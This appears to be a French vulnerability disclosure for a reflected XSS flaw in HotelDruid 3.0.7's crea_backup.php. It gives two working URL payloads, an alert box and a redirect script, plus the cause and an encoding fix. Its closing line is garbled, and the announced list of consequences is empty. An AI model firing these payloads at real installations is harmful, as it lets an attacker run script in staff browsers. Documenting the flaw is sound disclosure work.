
Réflexion sur la preuve de concept de vulnérabilité XSS réfléchie pour HotelDruid 3.0.7, démontrant l'exécution arbitraire de JavaScript via le paramètre ripristina_backup dans crea_backup.php.
Une vulnérabilité de type Cross Site Scripting dans DigitalDruid HotelDruid v.3.0.7 permet à un attaquant d'exécuter du code arbitraire et d'obtenir des informations sensibles via le paramètre ripristina_backup dans le point d'accès crea_backup.php
Un attaquant pourrait tromper un utilisateur authentifié pour qu'il visite une URL conçue, ce qui déclencherait du JavaScript malveillant dans son navigateur. Les conséquences potentielles incluent :
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
Résultat : Une fenêtre d'alerte contextuelle avec le message "Huy Vo Found This Vulnerability" confirme une exécution XSS réussie.
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
Résultat : Le navigateur redirige automatiquement vers Facebook.
HotelDruid est un système de gestion hôtelière open source utilisé pour gérer les réservations, les chambres et la facturation des hôtels, chambres d'hôtes et autres établissements d'hébergement. Il est basé sur le web, généralement installé sur des serveurs locaux et accessible via un navigateur. Compte tenu de son interface web et de sa nature administrative, une sécurité renforcée est cruciale — en particulier pour les fonctions authentifiées.
Le point d'accès crea_backup.php traite le paramètre ripristina_backup sans assainissement ni encodage, reflétant directement l'entrée utilisateur dans la page. Cela permet à un attaquant de créer une URL malveillante qui injecte du JavaScript arbitraire dans la page rendue pour un utilisateur authentifié.
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup.htmlspecialchars() en PHP pour encoder les caractères < et >).